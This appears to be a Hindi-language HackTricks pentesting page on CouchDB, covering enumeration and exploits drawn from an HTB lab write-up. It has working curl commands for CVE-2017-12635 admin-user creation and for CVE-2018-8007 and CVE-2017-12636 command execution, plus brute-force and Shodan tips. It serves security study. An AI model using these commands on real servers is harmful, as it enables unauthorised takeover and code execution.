31 KiB
5984,6984 - पेंटेस्टिंग CouchDB
जानें AWS हैकिंग को शून्य से हीरो तक htARTE (HackTricks AWS Red Team Expert) के साथ!
HackTricks का समर्थन करने के अन्य तरीके:
- अगर आप चाहते हैं कि आपकी कंपनी HackTricks में विज्ञापित हो या HackTricks को PDF में डाउनलोड करें तो सब्सक्रिप्शन प्लान्स देखें!
- आधिकारिक PEASS और HackTricks स्वैग प्राप्त करें
- हमारे विशेष NFTs संग्रह, The PEASS Family खोजें
- शामिल हों 💬 डिस्कॉर्ड समूह या टेलीग्राम समूह या हमें ट्विटर 🐦 @carlospolopm** पर फॉलो** करें।
- अपने हैकिंग ट्रिक्स साझा करें, HackTricks और HackTricks Cloud github repos में PRs सबमिट करके।
मूल जानकारी
CouchDB एक बहुमुखी और शक्तिशाली दस्तावेज-अभिव्यक्त डेटाबेस है जो प्रत्येक दस्तावेज में कुंजी-मान मानचित्र संरचित करता है। दस्तावेज के भीतर क्षेत्र कुंजी/मान जोड़े, सूची या मानचित्र के रूप में प्रस्तुत किए जा सकते हैं, जो डेटा भंडारण और पुनर्प्राप्ति में लचीलाई प्रदान करता है।
CouchDB में संग्रहित प्रत्येक दस्तावेज को दस्तावेज स्तर पर एक अद्वितीय पहचानकर्ता (_id
) सौंपा जाता है। इसके अतिरिक्त, डेटाबेस में की गई प्रत्येक संशोधन को एक संशोधन संख्या (_rev
) सौंपी जाती है। यह संशोधन संख्या परिवर्तनों का ट्रैकिंग और प्रबंधन करने की अनुमति देती है, जिससे डेटाबेस में डेटा को आसानी से पुनर्प्राप्ति और समक्रमण किया जा सकता है।
डिफ़ॉल्ट पोर्ट: 5984(http), 6984(https)
PORT STATE SERVICE REASON
5984/tcp open unknown syn-ack
स्वचालित गणना
nmap -sV --script couchdb-databases,couchdb-stats -p <PORT> <IP>
msf> use auxiliary/scanner/couchdb/couchdb_enum
मैनुअल जांच
बैनर
curl http://IP:5984/
यह एक GET अनुरोध को स्थापित CouchDB इंस्टेंस पर जारी करता है। जवाब कुछ इस प्रकार का दिखना चाहिए:
{"couchdb":"Welcome","version":"0.10.1"}
{"couchdb":"Welcome","version":"2.0.0","vendor":{"name":"The Apache Software Foundation"}}
{% hint style="info" %}
कृपया ध्यान दें कि यदि काउचडीबी के रूट तक पहुंचने पर आपको 401 अनधिकृत
मिलता है और कुछ इस प्रकार का संदेश दिखाई देता है: {"error":"unauthorized","reason":"Authentication required."}
तो आपको बैनर या किसी अन्य एंडप्वाइंट तक पहुंचने की अनुमति नहीं होगी।
{% endhint %}
सूचना गणना
ये एंडप्वाइंट्स हैं जहाँ आप GET अनुरोध के साथ पहुंच सकते हैं और कुछ दिलचस्प जानकारी निकाल सकते हैं। आप काउचडीबी दस्तावेज़ीकरण में अधिक एंडप्वाइंट्स और विस्तृत विवरण पा सकते हैं।
/_active_tasks
चल रहे कार्यों की सूची, जिसमें कार्य का प्रकार, नाम, स्थिति और प्रक्रिया आईडी शामिल है।/_all_dbs
काउचडीबी उदाहरण में सभी डेटाबेस की सूची लौटाता है।/_cluster_setup
नोड या क्लस्टर की स्थिति, क्लस्टर सेटअप विज़ार्ड के अनुसार लौटाता है।/_db_updates
काउचडीबी उदाहरण में सभी डेटाबेस घटनाओं की सूची लौटाता है। इस एंडप्वाइंट का उपयोग करने के लिए_global_changes
डेटाबेस की मौजूदगी आवश्यक है।/_membership
cluster_nodes
के रूप में क्लस्टर का हिस्सा बने नोड दिखाता है।all_nodes
फ़ील्ड उन सभी नोड्स को दिखाता है जिनके बारे में यह नोड जानता है, जिसमें क्लस्टर का हिस्सा है।/_scheduler/jobs
प्रतिलिपि कार्यों की सूची। प्रत्येक कार्य विवरण में स्रोत और लक्ष्य सूचना, प्रतिलिपि आईडी, हाल की घटना का इतिहास, और कुछ अन्य चीज़ें शामिल होंगी।/_scheduler/docs
प्रतिलिपि दस्तावेज़ स्थितियों की सूची।completed
औरfailed
स्थितियों में भी सभी दस्तावेज़ों के बारे में जानकारी शामिल है। प्रत्येक दस्तावेज़ के लिए यह दस्तावेज़ आईडी, डेटाबेस, प्रतिलिपि आईडी, स्रोत और लक्ष्य, और अन्य जानकारी लौटाता है।/_scheduler/docs/{replicator_db}
/_scheduler/docs/{replicator_db}/{docid}
/_node/{node-name}
/_node/{node-name}
एंडप्वाइंट का उपयोग करके आप अनुरोध प्रसंस्करण करने वाले सर्वर के एरलैंग नोड नाम की पुष्टि करने के लिए किया जा सकता है। यह सबसे उपयोगी होता है जब/_node/_local
तक पहुंचने के लिए इस जानकारी को पुनः प्राप्त करना हो।/_node/{node-name}/_stats
_stats
संसाधन एक चल रहे सर्वर के लिए आँकड़े समेत एक JSON ऑब्जेक्ट लौटाता है। शब्दकोशीय स्ट्रिंग_local
स्थानीय नोड नाम के लिए एक उपनाम के रूप में काम करता है, इसलिए सभी आँकड़े URL के लिए,{node-name}
को_local
से बदला जा सकता है, स्थानीय नोड के आँकड़ों के साथ संवाद करने के लिए।/_node/{node-name}/_system
_system संसाधन एक चल रहे सर्वर के लिए विभिन्न सिस्टम स्तरीय आँकड़े समेत एक JSON ऑब्जेक्ट लौटाता है। आप ___local
का उपयोग कर सकते हैं जैसे {node-name} वर्तमान नोड जानकारी प्राप्त करने के लिए।/_node/{node-name}/_restart
/_up
सत्यापित करता है कि सर्वर चालू है, चल रहा है, और अनुरोधों का जवाब देने के लिए तैयार है। यदिmaintenance_mode
true
याnolb
है, तो एंडप्वाइंट एक 404 प्रतिक्रिया लौटाएगा।/_uuids
काउचडीबी उदाहरण से एक या एक से अधिक यूनिवर्सली अद्वितीय पहचानकर्ता (UUIDs) का अनुरोध करता है।/_reshard
क्लस्टर पर पूर्ण, विफल, चल रहे, रोके गए, और कुल कार्यों की गणना के साथ रीशार्डिंग की स्थिति लौटाता है।
यहाँ विस्तार से समझाया गया है कि और भी दिलचस्प जानकारी निकाली जा सकती है: https://lzone.de/cheat-sheet/CouchDB
डेटाबेस सूची
curl -X GET http://IP:5984/_all_dbs
यदि उस अनुरोध का 401 अनधिकृत जवाब देता है, तो आपको डेटाबेस तक पहुंचने के लिए कुछ वैध प्रमाण पत्र की आवश्यकता है:
curl -X GET http://user:password@IP:5984/_all_dbs
वैध क्रेडेंशियल्स खोजने के लिए आप सेवा को ब्रूटफोर्स करने की कोशिश कर सकते हैं।
यह एक couchdb प्रतिक्रिया का उदाहरण है जब आपके पास पर्याप्त विशेषाधिकार होते हैं ताकि आप डेटाबेसों की सूची बना सकें (यह केवल डेटाबेसों की एक सूची है):
["_global_changes","_metadata","_replicator","_users","passwords","simpsons"]
डेटाबेस जानकारी
आप डेटाबेस नाम का उपयोग करके कुछ डेटाबेस जानकारी (जैसे फ़ाइलों की संख्या और आकार) प्राप्त कर सकते हैं:
curl http://IP:5984/<database>
curl http://localhost:5984/simpsons
#Example response:
{"db_name":"simpsons","update_seq":"7-g1AAAAFTeJzLYWBg4MhgTmEQTM4vTc5ISXLIyU9OzMnILy7JAUoxJTIkyf___z8rkQmPoiQFIJlkD1bHjE-dA0hdPFgdAz51CSB19WB1jHjU5bEASYYGIAVUOp8YtQsgavfjtx-i9gBE7X1i1D6AqAX5KwsA2vVvNQ","sizes":{"file":62767,"external":1320,"active":2466},"purge_seq":0,"other":{"data_size":1320},"doc_del_count":0,"doc_count":7,"disk_size":62767,"disk_format_version":6,"data_size":2466,"compact_running":false,"instance_start_time":"0"}
दस्तावेज़ सूची
डेटाबेस के भीतर प्रत्येक प्रविष्टि की सूची बनाएं
curl -X GET http://IP:5984/{dbname}/_all_docs
curl http://localhost:5984/simpsons/_all_docs
#Example response:
{"total_rows":7,"offset":0,"rows":[
{"id":"f0042ac3dc4951b51f056467a1000dd9","key":"f0042ac3dc4951b51f056467a1000dd9","value":{"rev":"1-fbdd816a5b0db0f30cf1fc38e1a37329"}},
{"id":"f53679a526a868d44172c83a61000d86","key":"f53679a526a868d44172c83a61000d86","value":{"rev":"1-7b8ec9e1c3e29b2a826e3d14ea122f6e"}},
{"id":"f53679a526a868d44172c83a6100183d","key":"f53679a526a868d44172c83a6100183d","value":{"rev":"1-e522ebc6aca87013a89dd4b37b762bd3"}},
{"id":"f53679a526a868d44172c83a61002980","key":"f53679a526a868d44172c83a61002980","value":{"rev":"1-3bec18e3b8b2c41797ea9d61a01c7cdc"}},
{"id":"f53679a526a868d44172c83a61003068","key":"f53679a526a868d44172c83a61003068","value":{"rev":"1-3d2f7da6bd52442e4598f25cc2e84540"}},
{"id":"f53679a526a868d44172c83a61003a2a","key":"f53679a526a868d44172c83a61003a2a","value":{"rev":"1-4446bfc0826ed3d81c9115e450844fb4"}},
{"id":"f53679a526a868d44172c83a6100451b","key":"f53679a526a868d44172c83a6100451b","value":{"rev":"1-3f6141f3aba11da1d65ff0c13fe6fd39"}}
]}
दस्तावेज़ पढ़ें
एक डेटाबेस के अंदर एक दस्तावेज़ की सामग्री पढ़ें:
curl -X GET http://IP:5984/{dbname}/{id}
curl http://localhost:5984/simpsons/f0042ac3dc4951b51f056467a1000dd9
#Example response:
{"_id":"f0042ac3dc4951b51f056467a1000dd9","_rev":"1-fbdd816a5b0db0f30cf1fc38e1a37329","character":"Homer","quote":"Doh!"}
CouchDB विशेषाधिकार उन्नति CVE-2017-12635
एरलैंग और जावास्क्रिप्ट JSON पार्सर्स के बीच अंतर के कारण आप निम्नलिखित अनुरोध के साथ क्रेडेंशियल hacktricks:hacktricks
के साथ एक एडमिन उपयोगकर्ता बना सकते थे:
curl -X PUT -d '{"type":"user","name":"hacktricks","roles":["_admin"],"roles":[],"password":"hacktricks"}' localhost:5984/_users/org.couchdb.user:hacktricks -H "Content-Type:application/json"
इस vuln के बारे में अधिक जानकारी यहाँ.
CouchDB RCE
Erlang कुकी सुरक्षा अवलोकन
उदाहरण यहाँ से.
काउचडीबी दस्तावेज़ीकरण में, विशेष रूप से क्लस्टर सेट-अप से संबंधित खंड में (लिंक), काउचडीबी द्वारा क्लस्टर मोड में पोर्ट का उपयोग किया जाता है। यह उल्लेख किया गया है कि, स्थानिक मोड की तरह, पोर्ट 5984
का उपयोग किया जाता है। इसके अतिरिक्त, पोर्ट 5986
नोड-स्थानिक API के लिए है, और महत्वपूर्ण रूप से, Erlang के लिए TCP पोर्ट 4369
की आवश्यकता है जो Erlang क्लस्टर के भीतर नोड संचार को सुविधा प्रदान करने वाला Erlang Port Mapper Daemon (EPMD) है। यह सेटअप एक नेटवर्क बनाता है जहां प्रत्येक नोड हर अन्य नोड से जुड़ा होता है।
पोर्ट 4369
के संबंध में एक महत्वपूर्ण सुरक्षा सलाह दी गई है। यदि यह पोर्ट इंटरनेट या किसी भी अविश्वसनीय नेटवर्क पर पहुंचने योग्य है, तो सिस्टम की सुरक्षा एक अद्वितीय पहचानकर्ता जिसे "कुकी" के रूप में जाना जाता है पर भारित होती है। यह कुकी एक सुरक्षा रक्षा के रूप में काम करती है। उदाहरण के लिए, एक दिया गया प्रक्रिया सूची में, "मॉन्स्टर" नामक कुकी देखी जा सकती है, जिससे सिस्टम की सुरक्षा ढांचे में इसकी परिचालन भूमिका का पता चलता है।
www-data@canape:/$ ps aux | grep couchdb
root 744 0.0 0.0 4240 640 ? Ss Sep13 0:00 runsv couchdb
root 811 0.0 0.0 4384 800 ? S Sep13 0:00 svlogd -tt /var/log/couchdb
homer 815 0.4 3.4 649348 34524 ? Sl Sep13 5:33 /home/homer/bin/../erts-7.3/bin/beam -K true -A 16 -Bd -- -root /home/homer/b
उन लोगों के लिए जो इस "कुकी" को दूरस्थ कोड निष्पादन (RCE) के लिए कैसे उपयोग किया जा सकता है जिसे एरलैंग सिस्टम के संदर्भ में, एक विशेष खंड उपलब्ध है और आगे पढ़ने के लिए। यह विवरण उन विधियों को विस्तार से वर्णित करता है जिनका उपयोग अनधिकृत तरीकों से एरलैंग कुकी का उपयोग करके सिस्टम पर नियंत्रण प्राप्त करने के लिए किया जा सकता है। आप यहाँ एरलैंग कुकी का दुरुपयोग करने के लिए विस्तृत मार्गदर्शिका का अन्वेषण कर सकते हैं।
लोकल.ini का संशोधन करके CVE-2018-8007 का शोधन
उदाहरण यहाँ से।
हाल ही में खुलासा हुआ एक सुरक्षा दोष, CVE-2018-8007, जो एपाची काउचडीबी को प्रभावित करता है, उसे जांचा गया, जिससे पता चला कि उत्पीड़न के लिए local.ini
फ़ाइल में लेखन अनुमतियाँ आवश्यक हैं। यद्यपि प्रारंभिक लक्ष्य सिस्टम पर सीधे लागू नहीं होता है क्योंकि सुरक्षा प्रतिबंधों के कारण, अन्वेषण के उद्देश्यों के लिए local.ini
फ़ाइल को लेखन अधिकार प्रदान करने के लिए संशोधन किए गए। विस्तृत चरण और कोड उदाहरण नीचे प्रदान किए गए हैं, प्रक्रिया को प्रदर्शित करते हुए।
सबसे पहले, पर्यावरण को तैयार किया जाता है जिसमें सुनिश्चित किया जाता है कि local.ini
फ़ाइल लिखने योग्य है, जिज्ञासा करके सत्यापित किया जाता है:
root@canape:/home/homer/etc# ls -l
-r--r--r-- 1 homer homer 18477 Jan 20 2018 default.ini
-rw-rw-rw- 1 homer homer 4841 Sep 14 17:39 local.ini
-r--r--r-- 1 root root 4841 Sep 14 14:30 local.ini.bk
-r--r--r-- 1 homer homer 1345 Jan 14 2018 vm.args
कमजोरी का शोधन करने के लिए, एक curl कमांड को निषेधित किया जाता है, local.ini
में cors/origins
विन्यास को लक्षित करते हुए। इसमें एक नया मूल सम्मिलित किया जाता है साथ ही [os_daemons]
खंड के तहत अतिरिक्त कमांड, अर्बिट्रे कोड को निष्पादित करने का उद्देश्य है:
www-data@canape:/dev/shm$ curl -X PUT 'http://0xdf:df@localhost:5984/_node/couchdb@localhost/_config/cors/origins' -H "Accept: application/json" -H "Content-Type: application/json" -d "0xdf\n\n[os_daemons]\ntestdaemon = /usr/bin/touch /tmp/0xdf"
आगे की पुष्टि local.ini
में डाली गई विन्यास को दिखाती है, जिसे एक बैकअप के साथ तुलना करके परिवर्तनों पर ध्यान दिया गया है:
root@canape:/home/homer/etc# diff local.ini local.ini.bk
119,124d118
< [cors]
< origins = 0xdf
< [os_daemons]
< test_daemon = /usr/bin/touch /tmp/0xdf
आरंभ में, अपेक्षित फ़ाइल (/tmp/0xdf
) मौजूद नहीं है, जिससे स्पष्ट होता है कि इंजेक्ट किया गया कमांड अभी तक नहीं चलाया गया है। और जांच में पता चलता है कि CouchDB से संबंधित प्रक्रियाएँ चल रही हैं, जिसमें से एक ऐसी है जो इंजेक्ट किए गए कमांड को क्रियान्वित कर सकती है:
root@canape:/home/homer/bin# ps aux | grep couch
कोचडीबी प्रक्रिया को पहचानने के बाद समाप्त करके सिस्टम को स्वचालित रूप से पुनः आरंभ करने द्वारा, उभरे हुए कमांड का निष्पादन प्रेरित होता है, जिसे पहले गायब फ़ाइल की मौजूदगी द्वारा पुष्टि की जाती है:
root@canape:/home/homer/etc# kill 711
root@canape:/home/homer/etc# ls /tmp/0xdf
/tmp/0xdf
यह अन्वेषण विशेष परिस्थितियों के तहत CVE-2018-8007 शोषण की संभावना की पुष्टि करता है, विशेष रूप से local.ini
फ़ाइल के लिखने योग्य एक्सेस की आवश्यकता को ध्यान में रखते हुए। प्रदत्त कोड उदाहरण और प्रक्रियात्मक चरण एक नियंत्रित वातावरण में शोषण की प्रतिलिपि के लिए एक स्पष्ट मार्गदर्शिका प्रदान करते हैं।
अधिक विवरण के लिए CVE-2018-8007 पर, mdsec द्वारा सूचना के लिए देखें: CVE-2018-8007.
लोकल.ini पर लेखन अनुमतियों के साथ CVE-2017-12636 का अन्वेषण
उदाहरण यहाँ से।
एक भेद्यता जिसे CVE-2017-12636 के रूप में जाना जाता है, उसे अन्वेषित किया गया था, जो काउचडीबी प्रक्रिया के माध्यम से कोड निष्पादन को संभव बनाता है, हालांकि विशेष विन्यासों से इसका शोषण रोक सकता है। ऑनलाइन उपलब्ध कई प्रमाण का (POC) संदर्भ होने के बावजूद, काउचडीबी संस्करण 2 पर भेद्यता का शोषण करने के लिए संशोधन आवश्यक है, जो सामान्य रूप से लक्षित संस्करण 1.x से भिन्न है। प्रारंभिक कदम काउचडीबी संस्करण की पुष्टि करने और अपेक्षित क्वेरी सर्वर पथ की अनुपस्थिति की पुष्टि करने में सम्मिलित हैं:
curl http://localhost:5984
curl http://0xdf:df@localhost:5984/_config/query_servers/
CouchDB संस्करण 2.0 को समायोजित करने के लिए एक नया पथ का उपयोग किया जाता है:
curl 'http://0xdf:df@localhost:5984/_membership'
curl http://0xdf:df@localhost:5984/_node/couchdb@localhost/_config/query_servers
कोशिशें नए क्वेरी सर्वर जोड़ने और आमंत्रित करने के लिए अनुमति संबंधित त्रुटियों से भेंट कराई गईं, जैसा कि निम्नलिखित आउटपुट द्वारा सूचित किया गया है:
curl -X PUT 'http://0xdf:df@localhost:5984/_node/couchdb@localhost/_config/query_servers/cmd' -d '"/sbin/ifconfig > /tmp/df"'
और जांच में पता चला कि local.ini
फ़ाइल में अनुमति समस्याएँ थीं, जिसे लिखने की अनुमति नहीं थी। रूट या होमर एक्सेस के साथ फ़ाइल अनुमतियों को संशोधित करके, आगे बढ़ना संभव हुआ:
cp /home/homer/etc/local.ini /home/homer/etc/local.ini.b
chmod 666 /home/homer/etc/local.ini
जांच करने पर पाया गया कि क्वेरी सर्वर जोड़ने की प्रयासों में उत्तर में कोई त्रुटि संदेश नहीं था, जिससे सफलतापूर्वक local.ini
फ़ाइल का संशोधन हुआ था:
curl -X PUT 'http://0xdf:df@localhost:5984/_node/couchdb@localhost/_config/query_servers/cmd' -d '"/sbin/ifconfig > /tmp/df"'
प्रक्रिया जारी रही डेटाबेस और एक दस्तावेज़ का निर्माण करने के साथ, जिसके बाद नए जोड़े गए क्वेरी सर्वर को मैप करने वाले कस्टम व्यू के माध्यम से कोड को निष्पादित करने का प्रयास किया गया:
curl -X PUT 'http://0xdf:df@localhost:5984/df'
curl -X PUT 'http://0xdf:df@localhost:5984/df/zero' -d '{"_id": "HTP"}'
curl -X PUT 'http://0xdf:df@localhost:5984/df/_design/zero' -d '{"_id": "_design/zero", "views": {"anything": {"map": ""} }, "language": "cmd"}'
एक सारांश एक वैकल्पिक payload के साथ CVE-2017-12636 का शोध करने के और अधिक अंदर देता है विशेष परिस्थितियों के तहत इसका शोध करने के उपयोगी संसाधन शामिल हैं:
Shodan
port:5984 couchdb
संदर्भ
- https://bitvijays.github.io/LFF-IPS-P2-VulnerabilityAnalysis.html
- https://0xdf.gitlab.io/2018/09/15/htb-canape.html#couchdb-execution
जानें AWS हैकिंग को शून्य से हीरो तक htARTE (HackTricks AWS Red Team Expert)!
HackTricks का समर्थन करने के अन्य तरीके:
- यदि आप अपनी कंपनी का विज्ञापन HackTricks में देखना चाहते हैं या HackTricks को PDF में डाउनलोड करना चाहते हैं तो सब्सक्रिप्शन प्लान्स देखें!
- आधिकारिक PEASS & HackTricks स्वैग प्राप्त करें
- हमारे विशेष NFTs कलेक्शन The PEASS Family खोजें
- जुड़ें 💬 डिस्कॉर्ड समूह या टेलीग्राम समूह में या हमें ट्विटर 🐦 @carlospolopm** पर फॉलो करें।
- अपने हैकिंग ट्रिक्स साझा करें HackTricks और HackTricks Cloud github repos को PRs सबमिट करके।